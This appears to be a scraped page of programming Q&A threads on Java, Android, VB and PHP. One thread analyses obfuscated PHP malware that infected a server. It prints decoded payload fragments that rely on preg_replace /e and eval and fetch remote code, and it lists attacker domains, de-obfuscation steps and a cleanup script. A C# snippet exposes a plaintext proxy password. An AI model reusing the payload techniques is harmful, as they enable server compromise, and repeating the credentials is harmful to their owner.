I send a get request to a php script on webserver that returns 3 lines of text. I handle the response from the server like this:
BufferedReader rd = new BufferedReader(new InputStreamReader(response.getEntity().getContent()));
Than I parse the lines like this:
line = "";
while ((line = rd.readLine()) != null) {
String a = line.substring(0, line.indexOf('_'));
String b = line.substring(line.indexOf('_') + 1);
}
And this keeps throwing a StringIndexOutOfBounds exception and I can't really see why. Im already using a similar method elsewhere in my project (with a different PHP script returnig different lines of text and with a different parsing) and it works perfectly fine. When I Log the returned lines to see if they are properly returned from the server, they are the same lines that PHP script sends.
And here is the fun part. When I was growing pretty desperate, I tried to measure the line using:
int l = line.length();
and this returned 11 with my line. Than, when I simply tried to display something using:
line.charAt(5);
it threw a StringIndexOutOfBoundsException: 5. I realy don't know what is wrong with this. Does anyone have an idea? Thanks!
EDIT
This is the PHP script
$query = mysql_query("SELECT * FROM users");
while($row = mysql_fetch_array($query)) {
print("{$row['id']}\n{$row['number']}\n");
}
This is my java code:
while ((line = rd.readLine()) != null) {
Log.v("connection - user list", line); //This line logs: 1_485963
//But this doesent work
String a = line.substring(0, line.indexOf('_'));
String b = line.substring(line.indexOf('_') + 1);
}
Most likely indexOf returns -1 and line.substring(0, -1); throws StringIndexOutOfBoundsException
EDIT
Could it be that you might be reading an invisible character/line after 1_485963 line?
Assume input is like this:
1_485963\n\n
Then in the log you would see only 1_485963 but the 2nd time loop runs it would crash.
First try to debug. OR else try this
I am pretty sure that line.indexOf('_') is not available in given string
1) first print log of the string and check '_' character is available.
try this to avoid StringIndexOutOfBoundsException
while ((line = rd.readLine()) != null) {
if (line.indexOf('_') != -1) {
String a = line.substring(0, line.indexOf('_'));
String b = line.substring(line.indexOf('_') + 1);
}else{
// means that index is not found
}
}
And finally you told string len = 11
and when printing char at position 5 is throw error.
check what u r doing in between printing len of the string and printing char at postion 5.
FINALLY some times you might get junk character from the buffer input stream. becoz its passing from n/w. check that also.
Maybe I'm getting old and blind but how does this
print("{$row['id']}\n{$row['number']}\n");
produce
1_485963
Surely
print("{$row['id']}_{$row['number']}\n");
is what you need.
Apologies if that is not valid PHP as the syntax of that
has always refused to stick in my brain.
Related
I am fetching a string from my MySql DB on and online server using webservice in JSON format.
I am able to see that Android Studio is fetching it correctly as I see it in debugging mode.
But when I go ahead and add it to a List list, I get nothing.
Here's some more info:
What I am getting:
{"products":[{"veg_name_eng":"Corn","veg_name_hindi":"मक्का"}],"success":1}
My concern is with: "veg_name_hindi":"मक्का"
When I go ahead and try to put it in a dataitem list, I get nothing:
public static List<DataItem> dataItemList;
dataItemList.add(jsonObject.getString(veg_name_eng),jsonObject.getString(veg_name_hindi))
veg_name_eng and veg_name_hindi are the column names at my table.
After the above code I get dataItemList = null, So nothing is adding to it.
In my server side MySql DB, I am using UTF-8 encoding.
I am using android studio.
UPDATE 1:
I am parsing the JSON as :
JSONObject jsonObject = new JSONObject(myJSONString);
veg_list = jsonObject.getJSONArray("products");
try {
while (TRACK < veg_list.length()) {
JSONObject jsonObject = veg_list.getJSONObject(TRACK);
addItem(new DataItem(jsonObject.getString(veg_name_eng), jsonObject.getString(veg_name_hindi)));
TRACK = TRACK + 1;
}
} catch (JSONException e) {
e.printStackTrace();
}
// and the addItem function is as follows:
private static void addItem(DataItem item) {
dataItemList.add(item); //While Debugging, I can see that value of item is correct. (i.e., item: DataItem{veg_name_eng='Cork', veg_name_hindi='मक्का'} )
dataItemMap.put(item.getVeg_id(), item);
}
Firstly, Make a model of the your JSON String using
http://json2java.azurewebsites.net/
and then map your JSON String to your Model using Gson. It's much easy to use.
Another way to get your required String for this particular result is parse json string yourself.
For Example :
String vegNameEng,vegNameHindi;
vegNameEng = vegNameHindi = "";
try{
JSONObject obj = new JSONObject(yourJsonString);
JSONArray arr = obj.getJSONArray("products");
vegNameEng = arr.getJSONObject(0).getString("veg_name_eng");
vegNameHindi = arr.getJSONObject(0).getString("veg_name_hindi");
}catch(JSONException ex){
}
Now vegNameEng and vegNameHindi have the required data.
I figured out, It was a silly mistake, the variable I was using to put data into the database was overwritten by some other variable with the same name. Closing the thread for now. Thanks #Umer-Farooq.
I'm trying to implement the following php code in visual basic. I wrote it in PHP because I knew I could do what I wanted to in that language, but I can't for the life of me figure out how to get it working in Visual Basic to loop through a MS SQL database.
$link = mysqli_connect('localhost', 'my_user', 'my_password', 'FakeDB');
$result = mysqli_query($con,"SELECT * FROM FakeDB");
$concatDupes = Array();
for ( $i = 0, $i< count($result), $i++) {
if ( $result[$i] == $result[$i + 1] {
array_push($concatDupes,$result[$i] + $result[$i + 1])
} else {
array_push( $concatDupes, $result[$i])
}
}
I've tried to use the code in this post but to no avail. (I put MsgBox("hello") inside the while loop and nothing happened) I've also attempeted the following, also with zero success.
Dim i = Me.PaymentTableAdapter.GetData().HazWasteAmtColumn.ToString()
MsgBox(i) 'no message box
Dim i = Me.PaymentTableAdapter.GetData().Count
MsgBox(i) ' also no message box
Dim i = Me.PaymentTableAdapter.GetData().Count
MsgBox(GetType(i)) 'type of i is not defined
I know my query is returning results because it works fine in a DataGridView.
Other useful info:
Watching the i (any of the i's referenced above) always shows Nothing, no matter what I've tried.
Here's what happens when I call Public Sub ReadData(ByVal connectionString As String, ByVal queryString As String) (full function in linked page) with:
Dim connect = WindowsApplication1.My.Settings.ShopMgtConnectionString
Dim querty As String = "SELECT * "
querty = querty + "FROM SM.PartItem "
ReadData(connect, querty)
immediate window output (the error list shows nothing):
A first chance exception of type 'System.ArgumentException' occurred in System.Data.dll
A first chance exception of type 'System.ArgumentException' occurred in System.Data.dll
A first chance exception of type 'System.ArgumentException' occurred in System.Data.dll
A first chance exception of type 'System.Data.ConstraintException' occurred in System.Data.dll
A first chance exception of type 'System.ArgumentException' occurred in System.Data.dll
EDIT: Here's the ReadData() method
Public Sub ReadData(ByVal connectionString As String, _
ByVal queryString As String)
Using connection As New OleDbConnection(connectionString)
Dim command As New OleDbCommand(queryString, connection)
connection.Open()
Dim reader As OleDbDataReader = command.ExecuteReader()
While reader.Read()
Console.WriteLine(reader(0).ToString())
End While
reader.Close()
End Using
End Sub
EDIT, Again...
I've taken a screen recording of the program running. It's just not doing anything useful.
http://youtu.be/i7oNVDXUw78
Make sure you are reading non null data:
While reader.Read()
If reader.IsDBNull(0) = False Then
Console.WriteLine(reader.GetValue(0).ToString())
End If
End While
Couple days ago I gave noticed that almost all php files on my server are infected with some encrypted code and in almost every file is different. Here is the example from one of the files:
http://pastebin.com/JtkNya5m
Can anybody tell me what this code do or how to decode it?
You can calculate the values of some of the variables, and begin to get your bearings.
$vmksmhmfuh = 'preg_replace'; //substr($qbrqftrrvx, (44195 - 34082), (45 - 33));
preg_replace('/(.*)/e', $viwdamxcpm, null); // Calls the function wgcdoznijh() $vmksmhmfuh($ywsictklpo, $viwdamxcpm, NULL);
So the initial purpose is to call the wgcdonznijh() function with the payloads in the script, this is done by way of an embedded function call in the pre_replace subject the /e in the expression.
/* aviewwjaxj */ eval(str_replace(chr((257-220)), chr((483-391)), wgcdoznijh($tbjmmtszkv,$qbrqftrrvx))); /* ptnsmypopp */
If you hex decode the result of that you will be just about here:
if ((function_exists("ob_start") && (!isset($GLOBALS["anuna"])))) {
$GLOBALS["anuna"] = 1;
function fjfgg($n)
{
return chr(ord($n) - 1);
}
#error_reporting(0);
preg_replace("/(.*)/e", "eval(implode(array_map("fjfgg",str_split("\x25u:f!>!(\x25\x78:!> ...
The above is truncated, but you have another payload as the subject of the new preg_replace function. Again due to e it has the potential to execute.
and it is using the callback on array_map to further decode the payload which passed to the eval.
The pay load for eval looks like this (hex decoded):
$t9e = '$w9 ="/(.*)/e";$v9 = #5656}5;Bv5;oc$v5Y5;-4_g#&oc$5;oc$v5Y5;-3_g#&oc$5;oc$v5Y5;-2_g#&oc$5;oc$v5Y5;-1_g#&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW#5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW#5{6))086,1pi$6,J(tcennocW#!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW#&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi#(pi2gnol#&2pi$5;)X$(emanybXteg#&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap#6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi#&%5;-elif#&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z#&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg# nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe#=1a$ ;)po$,)-$(dtg#(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45#9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *# = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W#Y#RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|#:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W#; $syv= "eval(str_replace(array"; $siv = "str_replace";$slv = "strrev";$s1v="create_function"; $svv = #//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46x.x?x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x$1\d6x\"=m$;"261'x1x.1x\"=r$;"351xa\07x\"=p$;"651.x%1x&1x\"=l$9{9)q$9,s$(2ne9noitcnuf;}#; $n9 = #1067|416|779|223|361#; $ll = "preg_replace"; $ee1 = array(#\14#,#, $#,#) { #,#[$i]#,#substr($#,#a = $xx("|","#,#,strpos($y,"9")#,# = str_replace($#,#x3#,#\x7#,#\15#,#;$i++) {#,#function #,#x6#,#); #,#for($i=0;$i
Which looks truncated ...
That is far as I have time for, but if you wanted to continue you may find the following url useful.
http://ddecode.com/
Good luck
I found the same code in a Wordpress instance and wrote a short script to remove it of all files:
$directory = new RecursiveDirectoryIterator(dirname(__FILE__));
$iterator = new RecursiveIteratorIterator($directory);
foreach ($iterator as $filename => $cur)
{
$contents = file_get_contents($filename);
if (strpos($contents, 'tngmufxact') !== false && strlen($contents) > 13200 && strpos($contents, '?>', 13200) == 13278) {
echo $filename.PHP_EOL;
file_put_contents($filename, substr($contents, 13280));
}
}
Just change the string 'tngmufxact' to your obfuscated version and everything will be removed automatically.
Maybe the length of the obfuscated string will differ - don't test this in your live environment!
Be sure to backup your files before executing this!
I've decoded this script and it is (except the obfuscation) exactly the same as this one: Magento Website Hacked - encryption code in all php files
The URL's inside are the same too:
33db9538.com
9507c4e8.com
e5b57288.com
54dfa1cb.com
If you are unsure/inexperienced don't try to execute or decode the code yourself, but get professional help.
Besides that: the decoding was done manually by picking the code pieces and partially executing them (inside a virtual machine - just in case something bad happens).
So basically I've repeated this over and over:
echo the hex strings to get the plain text (to find out which functions get used)
always replace eval with echo
always replace preg_replace("/(.*)/e", ...) with echo(preg_replace("/(.*)/", ...))
The e at the end of the regular expression means evaluate (like the php function eval), so don't forget to remove that too.
In the end you have a few function definitions and one of them gets invoked via ob_start.
i have to download a demo apk. I am inserting some values in database using php. but at some point of time it is throwing an error
org.json.JSONException: Value at validity_days of type java.lang.String cannot be converted to int
the code snippet in java:
private void upgradeVersion(String apkPath) {
System.out.println("SDCARD path checked5:-"+apkPath);
if(saveUserInfo()==true)
{
System.out.println("validity...."+validity);
if (apkPath != null) {
progressDialog.dismiss();
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setDataAndType(Uri.fromFile(new File(apkPath)),
"application/vnd.android.package-archive");
intent.putExtra("validity_days", validity);
startActivityForResult(intent, 1);
Toast.makeText(getApplicationContext(),"NetVidya ebook app has been successfully installed.", Toast.LENGTH_LONG).show();
}
}
and the php response:
{"users":[{"status":"added","installeddate":"","active":"Y","validity_days":""}]}
which im getting null here thats y throwing error.
is it possible to handle that exception in android itself? or i have to make some changes in php.
please suggest
Without seeing your JSON parser I'm assuing the issue is becuase you need to use validity_days and that string, at least some of the time, may have no value.
try{
JSONObject fullString = new JSONObject(thatLongStringYouPosted);
JSONArray users = fullString.getJSONObject("users");
String validity_days = users.getJSONObject(0),getString("validity_days");
if(!validity_days.isEmpty() && validity_days != null)
//do whatever you want with it
}
} catch (JSONException e){
Log.e(TAG, e.toString());
}
When parsing JSON you will get back a null value only if what you are looking for does not exist - i.e. there is no "validity_days" string in the response. Otherwise you will just get an empty string. Simply checking for the null and/or the empty string should fix your problem.
Also the try catch block will handle this excpetion within the android code. You can modify your PHP if you want to ensure you always get back a specific value if empty (e.g. you may want to always reuturn a 0 instead of nothing when a field is blank).
According to the Exception you placed above, I think you are getting Exception at this line:
startActivityForResult(intent, 1);
Just replace this line with
startActivity(intent);
and get JSONString in other activity as
Intent i = getIntent();
String str = i.getStringExtra("validity_days");
Why don't you parse your variable validity_days to integer before it throws exception..
I am writing a php program to write a binary file (may be video or image files). I would like to make it as a web service and call it from another application like c#, mac etc.
My code is give below,
<?php
$fileChunk = $_POST["filechunk"];
$vodFolder = 'D:\\HYSA SVN\\Trunk\\workproducts\\source\\hysa_he\\web\\entertainment\\';
$vodFile = $vodFolder . "abcd.mov";
$fh = fopen($vodFile, 'ab');
flock ($fh, LOCK_EX);
$varsize = fwrite($fh, $fileChunk);
fclose($fh);
?>
But when I called the php web service from a c# code, the abcd.mov is creating in the location, but its size is only one kb. I suspects that, the writing in halted when a character ‘&’ found in the binary file. I read the php documentation and found that, fopen with binary mode ‘b’ will solve this issue? But it is not working. Can somebody help me ?
This is my c# code.
BinaryReader b = new BinaryReader(File.Open("d:\\image38kb.jpg", FileMode.Open));
int pos = 0;
int length = (int)b.BaseStream.Length;
byte[] bt = b.ReadBytes(length);
char[] ch = b.ReadChars(length);
HttpWebRequest request = null;
Uri uri = new Uri("http://d0327/streamtest.php");
request = (HttpWebRequest)WebRequest.Create(uri);
NetworkCredential obj = new NetworkCredential("shihab.kb",
"India456*", "tvm");
request.Proxy.Credentials = obj;
request.Method = "POST";
request.ContentType = "application/x-www-form-urlencoded";
request.ContentLength = bt.Length;
using (Stream writeStream = request.GetRequestStream())
{
UTF8Encoding encoding = new UTF8Encoding();
byte[] bytes = encoding.GetBytes("filechunk=");
byte[] rv = new byte[bytes.Length + bt.Length];
System.Buffer.BlockCopy(bytes, 0, rv, 0, bytes.Length);
System.Buffer.BlockCopy(bt, 0, rv, bytes.Length, bt.Length);
writeStream.Write(rv, 0, bt.Length);
}
string result = string.Empty;
using (
HttpWebResponse response = (HttpWebResponse)request.GetResponse())
{
using (Stream responseStream = response.GetResponseStream())
{
using (StreamReader readStream = new StreamReader(responseStream, Encoding.UTF8))
{
result = readStream.ReadToEnd();
}
}
}
Well the problem is not in the fwrite part, that works fine.
However, POST requests in HTTP look like this:
POST /somepage.php HTTP/1.1
Content-Length: 34
variable1=blah&var2=something else
As you can see, variables are divided by ampersands (&) (as well as equal signs (=) for the key - value mapping)... So, even when using POST requests, ampersands are not safe characters.
To solve this, you could try another transfer method, for example, TCP/IP socket connection, or simply escape the ampersands with, say '\x26' (the ASCII value of ampersand) and escape all the backslashes (\) with '\x5C'... You'd have to edit the PHP code to parse these values.